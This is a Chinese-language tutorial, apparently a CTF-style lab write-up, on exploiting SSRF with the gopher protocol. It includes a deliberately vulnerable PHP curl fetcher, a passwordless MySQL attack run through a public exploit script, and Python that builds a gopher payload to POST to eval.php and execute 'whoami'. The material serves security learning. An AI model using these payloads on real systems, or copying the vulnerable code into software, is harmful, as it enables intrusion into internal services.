SSRF利用 Gopher
0X01 前言
研究了一天Gopher协议的应用,实践之后决定写一下关于Gopher协议之SSRF利用的相关总结。
参考链接:https://blog.csdn.net/qq_41107295/article/details/103026470
0X02 概述
SSRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。
不同的点在于gopher协议没有默认端口,所以需要指定web端口,而且需要指定post方法。回车换行使用%0d%0a。注意post参数之间的&分隔符也要进行url编码
基本协议格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
有关gopher
利用的一些小细节:
- 细节一
curl -V
查看curl是否支持gopher协议
,nc
发现数据换行了,但是只显示了ello
,而h
则消失了,因此在这里我们以后构造gopher
需要在在之前加入_
来充当那个消失的字符,即:
- 细节二
注意如果在地址栏利用payload时要再进行一次url编码。
环境搭建:apache+php5.4
推荐用PHPstudy搭建环境,用此代码用来模拟SSRF:
<?php
$ch = curl_init(); // 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 设置URL和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); // 抓取URL并把它传递给浏览器
curl_close($ch); // 关闭cURL资源,并且释放系统资源
?>
可以看到:
gopher攻击Mysql
MySQL数据库用户认证采用的是挑战/应答的方式,服务器生成该挑战数(scramble)并发送给客户端,客户端用挑战数加密密码后返回相应结果,然后服务器检查是否与预期的结果相同,从而完成用户认证的过程。
登录时需要用服务器发来的scramble加密密码,但是当数据库用户密码为空时,加密后的密文也为空。client给server发的认证包就是相对固定的了。这样就无需交互,可以通过gopher协议来发送。
mysql数据包前需要加一个四字节的包头。前三个字节代表包的长度,第四个字节代表包序,在一次完整的请求/响应交互过程中,用于保证消息顺序的正确,每次客户端发起请求时,序号值都会从0开始计算。 这里我们本地搭建的数据库的设立了一个curl
用户,且赋予其权限,允许空密码登录:
CREATE USER 'curl'@'localhost';
GRANT ALL ON *.* TO 'curl'@'localhost';
我们如何通过localhost/index.php?url=
来攻击mysql呢?这里是构造了gopher来攻击mysql:
https://github.com/FoolMitAh/mysql_gopher_attack
github上有一个gopher攻击mysql的python脚本,既然我们知道了curl
用户,那么:
python exploit.py -u curl -d information_schema -p "" -P "select * from flag" -v -c
参数说明:
-u 指定用户
-d 指定数据库,这里我们可以通过information_schema来获取所有的数据库
-P 指定sql语句
抓取的mysql通信数据包:
其实也就得到了数据库:infoemtion_schema、challenges、dwva、test
等等。
具体的回显:
所以我们最终可以通过sql查询得到flag(本地把它放在了test库下的flag表中)
攻击内网
下面通过一个本地搭建的ctf题查看:
/index.php
源代码为:
<?php
$ch = curl_init(); // 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 设置URL和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); // 抓取URL并把它传递给浏览器
curl_close($ch); // 关闭cURL资源,并且释放系统资源
?>
<!--hint:eval.php-->
提示eval.php
,提示要POST ctf
参数这里便利用了gopher
进行SSRF,抓取POST的数据包并修改host为127.0.0.1 :
得到其所有原始的hex数据后构造gopher进行利用,在这里因为是用过url传入,需要进行url编码:
# -*- coding: UTF-8 -*-
#coding: utf-8
from urllib import quote
s='504F5354202F6576616C2E70687020485454502F312E310D0A486F73743A203132372E302E302E310D0A557365722D4167656E743A204D6F7A696C6C612F352E30202857696E646F7773204E542031302E303B2057696E36343B207836343B2072763A36392E3029204765636B6F2F32303130303130312046697265666F782F36392E300D0A4163636570743A202A2F2A0D0A4163636570742D4C616E67756167653A207A682D434E2C7A683B713D302E382C7A682D54573B713D302E372C7A682D484B3B713D302E352C656E2D55533B713D302E332C656E3B713D302E320D0A436F6E74656E742D547970653A206170706C69636174696F6E2F782D7777772D666F726D2D75726C656E636F6465640D0A43616368653A206E6F2D63616368650D0A4F726967696E3A206D6F7A2D657874656E73696F6E3A2F2F31633865373436302D653166312D346165662D386535352D3334653538383032393231610D0A436F6E74656E742D4C656E6774683A2031300D0A436F6E6E656374696F6E3A20636C6F73650D0A0D0A6374663D77686F616D69'
len=len(s)
p=''
for i in range(len)[::2]:
p+=quote(chr(int(s[i:i+2],16)))
#print(p)
#若url浏览器访问需再编码一次,curl可直接访问
urlp = quote(p)
urlp = 'gopher://127.0.0.1:80/_' + urlp
print(urlp)
即将其进行url编码:
(如果是在url中还需进行一次编码,curl则不用进行编码)
成功SSRF执行命令whoami